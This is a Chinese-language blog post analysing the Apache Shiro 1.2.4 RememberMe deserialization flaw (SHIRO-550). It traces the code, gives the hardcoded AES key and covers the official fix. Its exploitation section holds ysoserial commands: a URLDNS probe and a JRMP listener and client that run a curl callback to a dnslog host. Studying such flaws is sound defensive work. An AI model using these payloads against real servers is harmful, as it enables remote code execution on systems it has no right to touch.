Shiro 反序列化记录

0x01 前言

shiro反序列化这个从 issue 550 开始进入大家的视野,到现在也挺久的了,但是这个漏洞还是挺好用的,特别是一些红蓝对抗、护网的场景下用来撕开口子非常好用,当然我也只是学习一下。

0x02 漏洞分析

1.环境搭建

1
2
3
4
git clone https://github.com/apache/shiro.git  
git checkout shiro-root-1.2.4
cd ./shiro/samples/web
mvn package -D maven.skip.test=true

可以看到shiro自带的commons-collections的版本是3.2.1

image-20191012145136086

用上面的方法编译后导入到tomcat里面就能看了,当然编译过程还有坑,比如你需要在.m2目录下创建一个toolchains.xml文件,然后加入 jdk 1.6 的路径,这个版本的编译依赖jdk1.6

image-20191012153451104

1
2
3
4
5
6
7
8
9
10
<toolchain>
<type>jdk</type>
<provides>
<version>1.6</version>
<vendor>sun</vendor>
</provides>
<configuration>
<jdkHome>C:\Program Files\Java\jdk1.6.0_45</jdkHome>
</configuration>
</toolchain>

详细环境搭建可参考【漏洞分析】Shiro RememberMe 1.2.4 反序列化导致的命令执行漏洞

2.漏洞分析

从最早ISSUE的地址,可以看到几个关键信息:

  • 默认使用 CookieRememberMeManager 来处理Cookie
  • Base64编码
  • AES编码
  • 反序列化

image-20191012162144167

加密过程

org.apache.shiro.mgt.AbstractRememberMeManager#onSuccessfulLogin 处下个断点,此时用户名密码已经在token中,用户名是root

image-20191013143307582

代码中首先会调用 forgetIdentity 针对 subject 变量进行处理,跟进CookieRememberMeManager 中的 forgetIdentity

image-20191013143818364

会调用 forgetIdentity 构造方法处理requestresponse请求,这里调用了removeFrom,跟进removeFrom。可以看到在 response 响应头中加入了一些cookie信息。

1
2
3
private void forgetIdentity(HttpServletRequest request, HttpServletResponse response) {
getCookie().removeFrom(request, response);
}

image-20191013144233964

回到刚刚的onSuccessfulLogin方法中,这里对token进行了isRememberMe处理,这个isRememberMe主要是针对是否在这个测试环境中勾选了remember me这个按钮。

image-20191013144736335

image-20191013144811014

所以这里的结果自然是true,即进入到 rememberIdentity 方法处理传入的变量,跟进 rememberIdentity 方法,位置在org.apache.shiro.mgt.AbstractRememberMeManager#rememberIdentity,由于我们之前的authcInfo的值实际上是我们的用户名root,这里经过处理传入到rememberIdentity(Subject subject, PrincipalCollection accountPrincipals)这个构造方法里面。

image-20191013145201763

跟进这个构造方法,发现调用convertPrincipalsToBytes方法处理accountPrincipals变量,而这个变量自然是我们的root的用户名。

1
2
3
4
protected void rememberIdentity(Subject subject, PrincipalCollection accountPrincipals) {
byte[] bytes = convertPrincipalsToBytes(accountPrincipals);
rememberSerializedIdentity(subject, bytes);
}

跟进convertPrincipalsToBytes方法发现它会序列化我们传入的root用户名,然后调用encrypt方法加密序列化后的二进制字节。

1
2
3
4
5
6
7
protected byte[] convertPrincipalsToBytes(PrincipalCollection principals) {
byte[] bytes = serialize(principals); //序列化principals
if (getCipherService() != null) {
bytes = encrypt(bytes); //加密bytes
}
return bytes;
}

跟进encrypt方法,这里调用 cipherService.encrypt 针对序列化的二进制进行加密。

image-20191013150104739

根据 AesCipherService 可以知道这个加密方式是 AES/CBC/PKCS5Padding

image-20191013150258554

然后 getEncryptionCipherKey 实际上是开头中的 DEFAULT_CIPHER_KEY_BYTES 的常量,我们看到结果是一致的。

image-20191013150530747

image-20191013150618059

然后把key和用户名root的序列化带入进行加密,会返回加密后的结果。

image-20191013150737095

紧接着回到rememberIdentity(Subject subject, PrincipalCollection accountPrincipals)这个构造方法中的 rememberSerializedIdentity 方法。

image-20191013150937943

跟进这个方法 rememberSerializedIdentity ,这个方法会把上面 aes 加密后二进制字节流进行处理,用Base64的方式进行加密,然后再把这个值还给cookie

image-20191013151114510

可能有点乱,看下面这个图可能会清楚点。

加密结果

解密过程

前面已经了解加密的正常整个过程,现在需要找找解密的整个过程,我选择在 org.apache.shiro.mgt.AbstractRememberMeManager#decrypt 这个位置下个断点,看看调用链,这里截取部分,为什么从 DefaultSecurityManager 这个类开始,原因是因为SecurityManager是跟对象,一切都是从这里开始的,然后开始进行相关的身份校验。

1
2
3
4
5
convertBytesToPrincipals:429, AbstractRememberMeManager (org.apache.shiro.mgt)
getRememberedPrincipals:396, AbstractRememberMeManager (org.apache.shiro.mgt)
getRememberedIdentity:604, DefaultSecurityManager (org.apache.shiro.mgt)
resolvePrincipals:492, DefaultSecurityManager (org.apache.shiro.mgt)
createSubject:342, DefaultSecurityManager (org.apache.shiro.mgt)

首先在 org.apache.shiro.mgt.AbstractRememberMeManager#getRememberedPrincipals 方法中调用 getRememberedSerializedIdentity 针对http请求进行处理。

image-20191015132632693

跟进 getRememberedSerializedIdentity ,首先下图红框中的 getCookie 构造方法先获取 cookie 信息。

image-20191015132830816

1
2
3
public Cookie getCookie() {
return cookie;
}

然后 readValue 方法,根据 Cookie 中的 name 字段获取 Cookie 的值,然后返回 Cookie 的值。

image-20191015133059683

image-20191015133227767

image-20191015133346384

然后接着在 getRememberedSerializedIdentity 方法中调用byte[] decoded = Base64.decode(base64)处理 base64 加密的 Cookie 信息,并且将这个 Cookie 转化为二进制字节码。

image-20191015133452553

image-20191015133617830

然后又回到了 AbstractRememberMeManager 类的 convertBytesToPrincipals 方法处理二进制字节码的Cookie信息。

image-20191015133857852

跟进 convertBytesToPrincipals 方法,这个方法调用 AbstractRememberMeManager 类中的 decrypt 针对二进制字节码进行解密。

1
2
3
4
5
6
protected PrincipalCollection convertBytesToPrincipals(byte[] bytes, SubjectContext subjectContext) {
if (getCipherService() != null) {
bytes = decrypt(bytes);
}
return deserialize(bytes);
}

跟进 AbstractRememberMeManager 类中的 decrypt 方法,这个方法是调用cipherService.decrypt进行处理,看处理结果 byteSource 的开头,是不是很眼熟,Java序列化的头部。

image-20191015134615769

经过由于我们之前说过,我们知道加密方法是 AES/CBC/PKCS5Padding ,密钥是kPH+bIxk5D2deZiIxcaaaA==。AES是对称加密,也就说已知密钥的情况下我们是能够解密的。

image-20191015134205998

又回到了 convertBytesToPrincipals 方法,这里调用了 deserialize 方法处理我们前面的序列化 Cookie 字节编码。

image-20191015134939786

一直跟进来,就找到了最后的反序列化输入位置org.apache.shiro.io.DefaultSerializer#deserialize

image-20191015135043251

最后再来一张图

解密

3.漏洞利用

前面说过 shiro 自带的 commons-collections 的版本是3.2.1,而在yso中与 commons-collections 相关的版本是 3.1

从@orange和@zsx文章中

Shiro resovleClass使用的是ClassLoader.loadClass()而非Class.forName(),而ClassLoader.loadClass不支持装载数组类型的class。

也就说shiro重构了自己的resovleClass

image-20191015144331607

jdk原版的resovleClassClass.forName

image-20191015144647246

跟进resovleClass,实际上是 loadClass ,所以锅出在了这里。

image-20191015144439887

当然我个人习惯,遇到这类反序列化喜欢先用 URLDNS 进行探测,存在的话,再利用JRMP进行反弹。首先为什么使用URLDNS呢,因为这类型反序列化要 getshell 太麻烦,getshell 会遇到 getRuntime().exec() 命令拼接的锅导致一些特殊符号没办法正确表达自己意思。另一方面如果要反弹shell的话,这个 URLDNS 就可以用来探测,避免繁琐的Java环境。

1
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://xxx.dnslog.cn

进一步执行命令的话还是喜欢用 JRMP 这个 Gadget ,这个的底层走的RMI ,我们可以在 JRMP Server 上自定义命令。

1
2
3
4
5
6
java -cp ysoserial-master-SNAPSHOT.jar ysoserial.exploit.JRMPListener 4444 CommonsCollections5 'curl http://xxx.dnslog.cn'
# JRMP Server监听


java -jar ysoserial-master-SNAPSHOT.jar JRMPClient '1.2.3.4:1444'
# 使用 JRMPClient 连接监听中的 JRMP Server。

4.修复方式

针对这个问题shiro解决了自带的硬编码的问题,当然如果用户还是用硬编码的方式,一旦key泄漏,一样是会造成反序列化的问题。

官方针对这个问题的修复方式:

1、删除相关默认密钥

2、如果没有配置密钥,会随机生成一个密钥。

image-20191015150732047

image-20191015150706379

Reference

Pwn a CTF Platform with Java JRMP Gadget

强网杯“彩蛋”——Shiro 1.2.4(SHIRO-550)漏洞之发散性思考

Apache Shiro Java反序列化漏洞分析